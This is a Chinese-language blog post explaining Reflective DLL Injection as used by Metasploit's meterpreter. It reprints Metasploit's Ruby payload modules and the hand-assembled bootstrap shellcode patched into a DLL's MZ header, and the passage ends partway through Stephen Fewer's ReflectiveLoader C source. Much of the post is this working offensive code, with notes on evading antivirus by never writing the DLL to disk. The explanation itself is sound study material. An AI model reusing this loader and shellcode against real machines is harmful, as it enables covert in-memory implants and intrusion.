Reflective DLL Injection(字面翻译:反射dll注入)

两天把印度佬的metasploit视频看完了.带着印度口音的英语伤不起啊(请自己想象生活大爆炸里Rajesh),但是这个印度佬的口音特别重,-___-,脑海里久久回荡着印度腔英语......

 

    为什么会提到Reflective DLL Injection,看Metasploit Unleashed,里面提到神器meterpreter和vnc injection都是利用这种技术,还给了链接,果断猛击,结果悲催的校园网+端午节放假+搜狗教育网加速负荷过大+人品,打不开,换了cmcc都没前途.猛然醒起前天,啊哈哈哈哈哈,果断用filetype:pdf+关键字xx了一篇.后来有找到实现代码,其实代码在src里面就有,不过我找到的代码是最原始的框架,没有经过加工的.老外的开源精神是没办法比的,我们写个什么东西,技术含量也不是很高但是仍然要藏着掖着,anyway,入正题..

 

    声明:以下是我的一些看法,不一定对,欢迎大家拍砖讨论,共同进步^_^

 

    dll注入就是把一个dll加载到一个exe里,简单场景是现在有一个inject.dll,有a.exe正在运行,你写一个b.exe,让a.exe去加载这个inject.dll,具体实现是让b.exe在a.exe的进程空间里面写入"inject.dll"这个dll名称,之后用CreateRemoteThread创建远程线程用LoadLibrary做线程函数就OK了.这个是一个很简单的场景,现在更进一步,如果实在exploitation的场景下,那么没有b.exe,你得到的进程上下文是a.exe,你可以执行你的shellcode,这样看来,其实实现起来也很简单,关键你需要解决的问题是,你怎么把inject.dll传到target机子上.这个不是我们讨论的范围.如果你成功的把inject.dll传过去了,直接LoadLibrary()就OK了.

 

    我们来看exploitation场景,此时我们需要再target机子上写一个文件,这个文件就是inject.dll,这样的硬盘文件操作很容易引起杀软和主动防御软件的警报和注意,从而导致失败.Reflective DLL Injection提出来就是解决这个问题的,完全不需要在硬盘上写入inject.dll,而是直接在内存当中操作.然后自己加载这个inject.dll.后面会详细说.

 

    科普一下,在metasploit里面,payloads简单可以分为三类:single,stager,stage.作用分别是single,实现单一,完整功能的payload,比如说bind_tcp这样的功能;stager和stage我这样比喻吧,像web入侵里面提到的小马和大马一样,由于exploit环境的限制,可能不能一下子把stage传过去,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动.上面提到的Reflective DLL Injection是作为一个stage存在的.也即是说,你已经有了和target之间的连接会话,你可以传送数据到target上.对于stager的部分我们也不讨论.

 

    也即是说,我们的前提是:你已经获得了target上的shellcode执行权限,你的shellcode能够接受数据,写入内存并移交控制权(EIP).下面简单看一下metasploit的meterpreter的payload:

  1. #$MSFHOME/modules/payloads/stages/windows/meterpreter.rb  
  2. #-------------------------------------------------------  
  3. ##  
  4. # $Id: meterpreter.rb 8984 2010-04-03 05:21:15Z hdm $  
  5. ##  
  6.   
  7. ##  
  8. # This file is part of the Metasploit Framework and may be subject to  
  9. # redistribution and commercial restrictions. Please see the Metasploit  
  10. # Framework web site for more information on licensing and terms of use.  
  11. # http://metasploit.com/framework/  
  12. ##  
  13.   
  14.   
  15. require 'msf/core'  
  16. require 'msf/core/payload/windows/reflectivedllinject'  
  17. require 'msf/base/sessions/meterpreter_x86_win'  
  18. require 'msf/base/sessions/meterpreter_options'  
  19.   
  20. ###  
  21. #  
  22. # Injects the meterpreter server DLL via the Reflective Dll Injection payload  
  23. #  
  24. ###  
  25. module Metasploit3  
  26.   
  27.         include Msf::Payload::Windows::ReflectiveDllInject  
  28.         include Msf::Sessions::MeterpreterOptions  
  29.   
  30.         def initialize(info = {})  
  31.                 super(update_info(info,  
  32.                         'Name'          => 'Windows Meterpreter (Reflective Injection)',  
  33.                         'Version'       => '$Revision: 8984 $',  
  34.                         'Description'   => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',  
  35.                         'Author'        => ['skape','sf'],  
  36.                         'PayloadCompat' =>  
  37.                                 {  
  38.                                         'Convention' => 'sockedi',  
  39.                                 },  
  40.                         'License'       => MSF_LICENSE,  
  41.                         'Session'       => Msf::Sessions::Meterpreter_x86_Win))  
  42.   
  43.                 # Don't let people set the library name option  
  44.                 options.remove_option('LibraryName')  
  45.                 options.remove_option('DLL')  
  46.         end  
  47.   
  48.         def library_path  
  49.                 File.join(Msf::Config.install_root, "data""meterpreter""metsrv.dll")  
  50.         end  
  51.   
  52. end  

 

    在这里面我们看到的东西是,meterpreter.rb他引入了msf/core/payload/windows/reflectivedllinject,这个是实现反射dll注入的文件,剩下的他提供的信息包括,他加入了meterpreter的session以及他使用的注入dll是metsrv.dll.

 

    下面是reflectivedllinject.rb

  1. #$MSFHOME/lib/msf/core/payload/windows/reflectivedllinject.rb  
  2. #------------------------------------------------------------  
  3. require 'msf/core'  
  4. require 'rex/peparsey'  
  5.   
  6. module Msf  
  7.   
  8.   
  9. ###  
  10. #  
  11. # Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection.  
  12. #  
  13. ###  
  14.   
  15.   
  16. module Payload::Windows::ReflectiveDllInject  
  17.   
  18.         include Msf::Payload::Windows  
  19.   
  20.         def initialize(info = {})  
  21.                 super(update_info(info,  
  22.                         'Name'          => 'Reflective Dll Injection',  
  23.                         'Version'       => '$Revision: 12600 $',  
  24.                         'Description'   => 'Inject a Dll via a reflective loader',  
  25.                         'Author'        => [ 'sf' ],  
  26.                         'References'    => [ [ 'URL''http://www.harmonysecurity.com/ReflectiveDllInjection.html' ] ],  
  27.                         'Platform'      => 'win',  
  28.                         'Arch'          => ARCH_X86,  
  29.                         'PayloadCompat' =>  
  30.                                 {  
  31.                                         'Convention' => 'sockedi -https',  
  32.                                 },  
  33.                         'Stage'         =>  
  34.                                 {  
  35.                                         'Offsets' =>  
  36.                                                 {  
  37.                                                         'EXITFUNC' => [ 33, 'V' ]  
  38.                                                 },  
  39.                                         'Payload' => ""  
  40.                                 }  
  41.                         ))  
  42.   
  43.                 register_options( [ OptPath.new'DLL', [ true"The local path to the Reflective DLL to upload" ] ), ], self.class )  
  44.         end  
  45.   
  46.         def library_path  
  47.                 datastore['DLL']  
  48.         end  
  49.   
  50.         def stage_payload(target_id=nil)  
  51.                 dll    = ""  
  52.                 offset = 0  
  53.   
  54.                 begin  
  55.                         File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) }  
  56.   
  57.                         pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )  
  58.   
  59.                         pe.exports.entries.each do |entry|  
  60.                                 if( entry.name =~ /^/S*ReflectiveLoader/S*/ )  
  61.                                         offset = pe.rva_to_file_offset( entry.rva )  
  62.                                         break  
  63.                                 end  
  64.                         end  
  65.   
  66.                         raise "Can't find an exported ReflectiveLoader function!" if offset == 0  
  67.                 rescue  
  68.                         print_error( "Failed to read and parse Dll file: #{$!}" )  
  69.                         return  
  70.                 end  
  71.   
  72.                 exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration  
  73.   
  74.                 bootstrap =             "/x4D" +                            # dec ebp             ; M  
  75.                                         "/x5A" +                            # pop edx             ; Z  
  76.                                         "/xE8/x00/x00/x00/x00" +            # call 0              ; call next instruction  
  77.                                         "/x5B" +                            # pop ebx             ; get our location (+7)  
  78.                                         "/x52" +                            # push edx            ; push edx back  
  79.                                         "/x45" +                            # inc ebp             ; restore ebp  
  80.                                         "/x55" +                            # push ebp            ; save ebp  
  81.                                         "/x89/xE5" +                        # mov ebp, esp        ; setup fresh stack frame  
  82.                                         "/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader  
  83.                                         "/xFF/xD3" +                        # call ebx            ; call ReflectiveLoader  
  84.                                         "/x89/xC3" +                        # mov ebx, eax        ; save DllMain for second call  
  85.                                         "/x57" +                            # push edi            ; our socket  
  86.                                         "/x68/x04/x00/x00/x00" +            # push 0x4            ; signal we have attached  
  87.                                         "/x50" +                            # push eax            ; some value for hinstance  
  88.                                         "/xFF/xD0" +                        # call eax            ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )  
  89.                                         "/x68" + exit_funk +                # push 0x????????     ; our EXITFUNC placeholder  
  90.                                         "/x68/x05/x00/x00/x00" +            # push 0x5            ; signal we have detached  
  91.                                         "/x50" +                            # push eax            ; some value for hinstance  
  92.                                         "/xFF/xD3"                          # call ebx            ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )  
  93.   
  94.                 # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry  
  95.                 if( bootstrap.length > 62 )  
  96.                         print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )  
  97.                         return  
  98.                 end  
  99.   
  100.                 # patch the bootstrap code into the dll's DOS header...  
  101.                 dll[ 0, bootstrap.length ] = bootstrap  
  102.   
  103.                 # patch the target ID into the URI if specified  
  104.                 if target_id  
  105.                         i = dll.index("/123456789 HTTP/1.0/r/n/r/n/x00")  
  106.                         if i  
  107.                                 t = target_id.to_s  
  108.                                 raise "Target ID must be less than 5 bytes" if t.length > 4  
  109.                                 u = "/B#{t} HTTP/1.0/r/n/r/n/x00"  
  110.                                 print_status("Patching Target ID #{t} into DLL")  
  111.                                 dll[i, u.length] = u  
  112.                         end  
  113.                 end  
  114.   
  115.                 # return our stage to be loaded by the intermediate stager  
  116.                 return dll  
  117.         end  
  118.   
  119. end  
  120.   
  121. end  

 

    里面有提到这篇论文的出处在http://www.harmonysecurity.com/ReflectiveDllInjection.html,有兴趣的同学请猛击. 简单解释一下,这个rb是构建一个inject.dll传到target当中写入内存,这个dll的结构大概是这样(瞄的,我要自己画图..)

 

    如图,在metsrv.dll里面写入Bootstrap,同时定位ReflectiveLoader()的地址,硬编码写入Bootstrap里面,同时加入退出函数的地址.这里用了一个小技巧,很cool,很强大,将Bootstrap直接写入dll的头部这样不是会破坏dll这个文件的结构么?我之前也认为Bootstrap是写在dll文件之前的,像Bootstrap+Metsrv.dll这样发送过去,但是在Bootstrap里面,他需要完成一项工作,就是代码的重定向工作.看下Bootstrap的生成代码,有一句"/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader,其中的offset在前面是offset = pe.rva_to_file_offset( entry.rva ),简单的理解是,offset是Metsrv.dll编译好之后,ReflectiveLoader()函数在文件中的RVA,相对虚拟地址,相对虚拟地址需要加上基址才是真实地址,如果将Bootsrtap放在Metsrv.dll文件之前(而不是文件里面)的话,重定位要更繁琐一点.而且,不够cool.当看到这句的时候感觉很帅,

                bootstrap =    "/x4D" +                            # dec ebp             ; M
                                        "/x5A" +                            # pop edx             ; Z

注意了,MZ标志也可以拿来做指令.没错!就是dec ebp和pop edx,这两条指令的16进制刚好是MZ的ascii码,然后利用头部的空隙插入37字节的指令,如图,MZ头部后面有起码40字节的空隙可以利用.

之后的代码是经典的重定位实现方式,call下一条指令,pop一下弹出call的返回地址,也就是

                                       "/x5B" +                            # pop ebx             ; get our location (+7)

这条指令的地址,这条指令里文件头部的偏移是7,只要将这个地址减去7那就是基址了,你懂了吧,有了基址,加上RVA就得到了ReflectiveLoader()的地址了,有了地址直接call过去就完事了,ReflectiveLoader()没有参数,返回值是DlMain()的地址,这里再说一下

                                        "/xE8/x00/x00/x00/x00" +            # call 0              ; call next instruction

像call和jmp+立即数的指令,立即数的计算都是(目标地址 - (当前地址 + 5)),注意立即数写入机器码时需要逆序(高高低低原则),这句

                                        "/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader

里面的pack("V")就是逆序输入的意思.

                                         "/x57" +                            # push edi            ; our socket

这里的edi是由stager里面传进来的socket,在dllmain里面会进行处理.DllMain的声明是

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )

最后一个参数两次调用,第一次传进来的是socket,第二次传进来是退出函数的地址.供退出用.

 

    好吧,这样大概的执行流程框架就有了(还是前面的前提,你有了小马,stage):1.小马转移EIP到dll的文件头->2.进行重定位->3.计算ReflectiveLoader()地址->4.调用ReflectiveLoader()->5.得到DllMain()地址(前面调用的返回值)->6.调用DllMain(),此时应该就在DllMain()里面(大马的代码)循环直到attacker退出.->7.第二次调用DllMain(),此时按退出函数安全退出.

 

    另外,dll里面是对dll的调用状态进行了扩展(DllMain的第二个参数DWORD dwReason),加入了自己的attach和detach两种情况.

 

    在整个流程当中,很关键的一环是第4步,ReflectiveLoader()的具体实现过程:

1.首先需要获取三个关键函数的地址.

2.分配一块内存,把dll复制过去,这个过程细化了,不是一下子全部复制,而是分开头部和各个区块.

3.处理IAT,再处理重定向表.

4.使用DLL_PROCESS_ATTACH调用一次DllMain().

5.返回DllMain()的地址供Bootstrap调用.

 

    1当中是用常见的PEB定位方式+hash比对得到的,三个关键函数分别是VirtualAlloc(),LoadLibrary()和GetProcAddress(),第一个用来分配内存拷贝dll过去,第二个和第三个是用来处理dll的输入表的.代码里面模拟实现IAT的填充,需要用到这两个函数.整个过程难度最大的应该是对IAT和重定向表的手动处理,这个需要对PE文件结构有一定的理解,次之是三个关键函数的定位.

    2当中为何分开头部和各个区块复制,这是由于PE文件区块在内存当中和磁盘上的对齐值不同,典型的磁盘对齐是200h,而内存是1000h(刚好是一个页的大小),我们把dll复制到内存当中的时候就是要模拟系统对dll的映射,因此必须分开处理.我开始一直以为CreateFileMapping就是做好了内存对齐,结果带来的问题就是,我如何获取这个按内存对齐之后的整体大小(我一开始的思路还是停留在整体复制上),这个应该也是反射dll注入的亮点之一.

    最后附上代码,简单易懂多注释.大家研究研究.

ReflectiveLoader.h

  1. //===============================================================================================//  
  2. // Copyright (c) 2008, Stephen Fewer of Harmony Security (www.harmonysecurity.com)  
  3. // All rights reserved.  
  4. //   
  5. // Redistribution and use in source and binary forms, with or without modification, are permitted   
  6. // provided that the following conditions are met:  
  7. //   
  8. //     * Redistributions of source code must retain the above copyright notice, this list of   
  9. // conditions and the following disclaimer.  
  10. //   
  11. //     * Redistributions in binary form must reproduce the above copyright notice, this list of   
  12. // conditions and the following disclaimer in the documentation and/or other materials provided   
  13. // with the distribution.  
  14. //   
  15. //     * Neither the name of Harmony Security nor the names of its contributors may be used to  
  16. // endorse or promote products derived from this software without specific prior written permission.  
  17. //   
  18. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR   
  19. // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND  
  20. // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR   
  21. // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR   
  22. // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR   
  23. // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY   
  24. // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR   
  25. // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE   
  26. // POSSIBILITY OF SUCH DAMAGE.  
  27. //===============================================================================================//  
  28. #ifndef REFLECTIVELOADER_H  
  29. #define REFLECTIVELOADER_H  
  30. //===============================================================================================//  
  31. #define WIN32_LEAN_AND_MEAN  
  32. #include <windows.h>  
  33. #include <Winsock2.h>  
  34. #include <Winternl.h>  
  35.   
  36. #define EXITFUNC_SEH        0x5F048AF0  
  37. #define EXITFUNC_THREAD     0x60E0CEEF  
  38. #define EXITFUNC_PROCESS    0x73E2D87E  
  39.   
  40. #define DLL_METASPLOIT_ATTACH   4  
  41. #define DLL_METASPLOIT_DETACH   5  
  42.   
  43. #define DEREF_32( name )*(DWORD *)(name)  
  44. #define DEREF_16( name )*(WORD *)(name)  
  45. #define DEREF_8( name )*(BYTE *)(name)  
  46.   
  47. #define DLLEXPORT   __declspec( dllexport )   
  48.   
  49. typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );  
  50. typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULELPCSTR );  
  51. typedef LPVOID  (WINAPI * VIRTUALALLOC)( LPVOIDSIZE_TDWORDDWORD );  
  52. typedef BOOL    (WINAPI * DLLMAIN)( HINSTANCEDWORDLPVOID );  
  53.   
  54. #define LOADLIBRARYA_HASH       0xEC0E4E8E  
  55. #define GETPROCADDRESS_HASH     0x7C0DFCAA  
  56. #define VIRTUALALLOC_HASH       0x91AFCA54  
  57.   
  58. #define HASH_KEY    13    
  59. //===============================================================================================//  
  60. __forceinline DWORD __hash( char * c )  
  61. {  
  62.     register DWORD h = 0;  
  63.     do  
  64.     {  
  65.         __asm ror h, HASH_KEY  
  66.         h += *c;  
  67.     } while( *++c );  
  68.   
  69.     return h;  
  70. }  
  71. //===============================================================================================//  
  72. __forceinline DWORD __get_peb()  
  73. {  
  74.     __asm mov eax, fs:[ 0x30 ]  
  75. }  
  76. //===============================================================================================//  
  77. __forceinline VOID __memzero( DWORD dwDest, DWORD dwLength )  
  78. {  
  79.     __asm  
  80.     {  
  81.         mov ecx, dwLength  
  82.         xor eax, eax  
  83.         mov edi, dwDest  
  84.         rep stosb  
  85.     }  
  86. }  
  87. //===============================================================================================//  
  88. __forceinline VOID __memcpy( DWORD dwDest, DWORD dwSource, DWORD dwLength )  
  89. {  
  90.     __asm  
  91.     {  
  92.         mov ecx, dwLength  
  93.         mov esi, dwSource  
  94.         mov edi, dwDest  
  95.         rep movsb  
  96.     }  
  97. }  
  98. //===============================================================================================//  
  99.   
  100. // WinDbg> dt -v ntdll!_PEB_LDR_DATA  
  101. typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes  
  102. {  
  103.    DWORD dwLength;  
  104.    DWORD dwInitialized;  
  105.    LPVOID lpSsHandle;  
  106.    LIST_ENTRY InLoadOrderModuleList;  
  107.    LIST_ENTRY InMemoryOrderModuleList;  
  108.    LIST_ENTRY InInitializationOrderModuleList;  
  109.    LPVOID lpEntryInProgress;  
  110. } PEB_LDR_DATA, * PPEB_LDR_DATA;  
  111.   
  112. // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK  
  113. typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes  
  114. {  
  115.    struct _PEB_FREE_BLOCK * pNext;  
  116.    DWORD dwSize;  
  117. } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;  
  118.   
  119. /* 
  120. // You may or may not need to uncomment this structure. 
  121. typedef struct _UNICODE_STRING { 
  122.     USHORT Length; 
  123.     USHORT MaximumLength; 
  124.     PWSTR  Buffer; 
  125. } UNICODE_STRING; 
  126. typedef UNICODE_STRING *PUNICODE_STRING; 
  127. */  
  128.   
  129. // struct _PEB is defined in Winternl.h but it is incomplete  
  130. // WinDbg> dt -v ntdll!_PEB  
  131. typedef struct __PEB // 65 elements, 0x210 bytes  
  132. {  
  133.    BYTE bInheritedAddressSpace;  
  134.    BYTE bReadImageFileExecOptions;  
  135.    BYTE bBeingDebugged;  
  136.    BYTE bSpareBool;  
  137.    LPVOID lpMutant;  
  138.    LPVOID lpImageBaseAddress;  
  139.    PPEB_LDR_DATA pLdr;  
  140.    LPVOID lpProcessParameters;  
  141.    LPVOID lpSubSystemData;  
  142.    LPVOID lpProcessHeap;  
  143.    PRTL_CRITICAL_SECTION pFastPebLock;  
  144.    LPVOID lpFastPebLockRoutine;  
  145.    LPVOID lpFastPebUnlockRoutine;  
  146.    DWORD dwEnvironmentUpdateCount;  
  147.    LPVOID lpKernelCallbackTable;  
  148.    DWORD dwSystemReserved;  
  149.    DWORD dwAtlThunkSListPtr32;  
  150.    PPEB_FREE_BLOCK pFreeList;  
  151.    DWORD dwTlsExpansionCounter;  
  152.    LPVOID lpTlsBitmap;  
  153.    DWORD dwTlsBitmapBits[2];  
  154.    LPVOID lpReadOnlySharedMemoryBase;  
  155.    LPVOID lpReadOnlySharedMemoryHeap;  
  156.    LPVOID lpReadOnlyStaticServerData;  
  157.    LPVOID lpAnsiCodePageData;  
  158.    LPVOID lpOemCodePageData;  
  159.    LPVOID lpUnicodeCaseTableData;  
  160.    DWORD dwNumberOfProcessors;  
  161.    DWORD dwNtGlobalFlag;  
  162.    LARGE_INTEGER liCriticalSectionTimeout;  
  163.    DWORD dwHeapSegmentReserve;  
  164.    DWORD dwHeapSegmentCommit;  
  165.    DWORD dwHeapDeCommitTotalFreeThreshold;  
  166.    DWORD dwHeapDeCommitFreeBlockThreshold;  
  167.    DWORD dwNumberOfHeaps;  
  168.    DWORD dwMaximumNumberOfHeaps;  
  169.    LPVOID lpProcessHeaps;  
  170.    LPVOID lpGdiSharedHandleTable;  
  171.    LPVOID lpProcessStarterHelper;  
  172.    DWORD dwGdiDCAttributeList;  
  173.    LPVOID lpLoaderLock;  
  174.    DWORD dwOSMajorVersion;  
  175.    DWORD dwOSMinorVersion;  
  176.    WORD wOSBuildNumber;  
  177.    WORD wOSCSDVersion;  
  178.    DWORD dwOSPlatformId;  
  179.    DWORD dwImageSubsystem;  
  180.    DWORD dwImageSubsystemMajorVersion;  
  181.    DWORD dwImageSubsystemMinorVersion;  
  182.    DWORD dwImageProcessAffinityMask;  
  183.    DWORD dwGdiHandleBuffer[34];  
  184.    LPVOID lpPostProcessInitRoutine;  
  185.    LPVOID lpTlsExpansionBitmap;  
  186.    DWORD dwTlsExpansionBitmapBits[32];  
  187.    DWORD dwSessionId;  
  188.    ULARGE_INTEGER liAppCompatFlags;  
  189.    ULARGE_INTEGER liAppCompatFlagsUser;  
  190.    LPVOID lppShimData;  
  191.    LPVOID lpAppCompatInfo;  
  192.    UNICODE_STRING usCSDVersion;  
  193.    LPVOID lpActivationContextData;  
  194.    LPVOID lpProcessAssemblyStorageMap;  
  195.    LPVOID lpSystemDefaultActivationContextData;  
  196.    LPVOID lpSystemAssemblyStorageMap;  
  197.    DWORD dwMinimumStackCommit;  
  198. } _PEB, * _PPEB;  
  199.   
  200. typedef struct  
  201. {  
  202.     WORD    offset:12;  
  203.     WORD    type:4;  
  204. } IMAGE_RELOC, *PIMAGE_RELOC;  
  205. //===============================================================================================//  
  206. #endif  
  207. //===============================================================================================//  

ReflectiveLoader.c

  1. //===============================================================================================//  
  2. // Copyright (c) 2008, Stephen Fewer of Harmony Security (www.harmonysecurity.com)  
  3. // All rights reserved.  
  4. //   
  5. // Redistribution and use in source and binary forms, with or without modification, are permitted   
  6. // provided that the following conditions are met:  
  7. //   
  8. //     * Redistributions of source code must retain the above copyright notice, this list of   
  9. // conditions and the following disclaimer.  
  10. //   
  11. //     * Redistributions in binary form must reproduce the above copyright notice, this list of   
  12. // conditions and the following disclaimer in the documentation and/or other materials provided   
  13. // with the distribution.  
  14. //   
  15. //     * Neither the name of Harmony Security nor the names of its contributors may be used to  
  16. // endorse or promote products derived from this software without specific prior written permission.  
  17. //   
  18. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR   
  19. // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND  
  20. // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR   
  21. // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR   
  22. // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR   
  23. // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY   
  24. // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR   
  25. // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE   
  26. // POSSIBILITY OF SUCH DAMAGE.  
  27. //===============================================================================================//  
  28. #include "ReflectiveLoader.h"  
  29. //===============================================================================================//  
  30. // You must implement this to add desired functionality, see ReflectiveDll.c ...  
  31. extern int Init( SOCKET socket );  
  32. //===============================================================================================//  
  33. // Our loader will set this to a pseudo correct value  
  34. HINSTANCE hAppInstance;  
  35. //===============================================================================================//  
  36. // This is our position independent reflective Dll loader/injector  
  37. DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID )  
  38. {  
  39.     // the functions we need  
  40.     LOADLIBRARYA pLoadLibraryA;  
  41.     GETPROCADDRESS pGetProcAddress;  
  42.     VIRTUALALLOC pVirtualAlloc;  
  43.     BYTE bCounter = 3;  
  44.   
  45.     // the initial location of this image in memory  
  46.     DWORD dwLibraryAddress;  
  47.     // the kernels base address and later this images newly loaded base address  
  48.     DWORD dwBaseAddress;  
  49.   
  50.     // variables for processing the kernels export table  
  51.     DWORD dwAddressArray;  
  52.     DWORD dwNameArray;  
  53.     DWORD dwExportDir;  
  54.     DWORD dwNameOrdinals;  
  55.     DWORD dwHashValue;  
  56.   
  57.     // variables for loading this image  
  58.     DWORD dwHeaderValue;  
  59.     DWORD dwValueA;  
  60.     DWORD dwValueB;  
  61.     DWORD dwValueC;  
  62.     DWORD dwValueD;  
  63.   
  64.     // STEP 0: calculate our images current base address  
  65.   
  66.     // we will start searching backwards from our current EIP  
  67.     __asm call getip  
  68.     __asm getip: pop dwLibraryAddress  
  69.   
  70.     // loop through memory backwards searching for our images base address  
  71.     // we dont need SEH style search as we shouldnt generate any access violations with this  
  72.     while( TRUE )  
  73.     {  
  74.         if( ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )  
  75.         {  
  76.             dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;  
  77.             // break if we have found a valid MZ/PE header  
  78.             if( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->Signature == IMAGE_NT_SIGNATURE )  
  79.                 break;  
  80.         }  
  81.         dwLibraryAddress--;  
  82.     }  
  83.   
  84.     // STEP 1: process the kernels exports for the functions our loader needs...  
  85.   
  86.     // get the Process Enviroment Block  
  87.     dwBaseAddress = __get_peb();  
  88.   
  89.     // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx  
  90.     dwBaseAddress = (DWORD)((_PPEB)dwBaseAddress)->pLdr;  
  91.   
  92.     dwBaseAddress = DEREF_32( ((PPEB_LDR_DATA)dwBaseAddress)->InInitializationOrderModuleList.Flink );  
  93.   
  94.     // get this kernels base address  
  95.     dwBaseAddress = DEREF_32( dwBaseAddress + 8 );  
  96.   
  97.     // get the VA of the modules NT Header  
  98.     dwExportDir = dwBaseAddress + ((PIMAGE_DOS_HEADER)dwBaseAddress)->e_lfanew;  
  99.   
  100.     // dwNameArray = the address of the modules export directory entry  
  101.     dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];  
  102.   
  103.     // get the VA of the export directory  
  104.     dwExportDir = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress );  
  105.   
  106.     // get the VA for the array of name pointers  
  107.     dwNameArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNames );  
  108.               
  109.     // get the VA for the array of name ordinals  
  110.     dwNameOrdinals = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNameOrdinals );  
  111.   
  112.     // loop while we still have imports to find  
  113.     while( bCounter > 0 )  
  114.     {  
  115.         // compute the hash values for this function name  
  116.         dwHashValue = __hash( (char *)( dwBaseAddress + DEREF_32( dwNameArray ) )  );  
  117.                   
  118.         // if we have found a function we want we get its virtual address  
  119.         if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )  
  120.         {  
  121.             // get the VA for the array of addresses  
  122.             dwAddressArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions );  
  123.   
  124.             // use this functions name ordinal as an index into the array of name pointers  
  125.             dwAddressArray += ( DEREF_16( dwNameOrdinals ) * sizeof(DWORD) );  
  126.   
  127.             // store this functions VA  
  128.             if( dwHashValue == LOADLIBRARYA_HASH )  
  129.                 pLoadLibraryA = (LOADLIBRARYA)( dwBaseAddress + DEREF_32( dwAddressArray ) );  
  130.             else if( dwHashValue == GETPROCADDRESS_HASH )  
  131.                 pGetProcAddress = (GETPROCADDRESS)( dwBaseAddress + DEREF_32( dwAddressArray ) );  
  132.             else if( dwHashValue == VIRTUALALLOC_HASH )  
  133.                 pVirtualAlloc = (VIRTUALALLOC)( dwBaseAddress + DEREF_32( dwAddressArray ) );  
  134.               
  135.             // decrement our counter  
  136.             bCounter--;  
  137.         }  
  138.   
  139.         // get the next exported function name  
  140.         dwNameArray += sizeof(DWORD);  
  141.   
  142.         // get the next exported function name ordinal  
  143.         dwNameOrdinals += sizeof(WORD);  
  144.     }  
  145.   
  146.     // STEP 2: load our image into a new permanent location in memory...  
  147.   
  148.     // get the VA of the NT Header for the PE to be loaded  
  149.     dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;  
  150.   
  151.     // allocate all the memory for the DLL to be loaded into. we can load at any address because we will    
  152.     // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.  
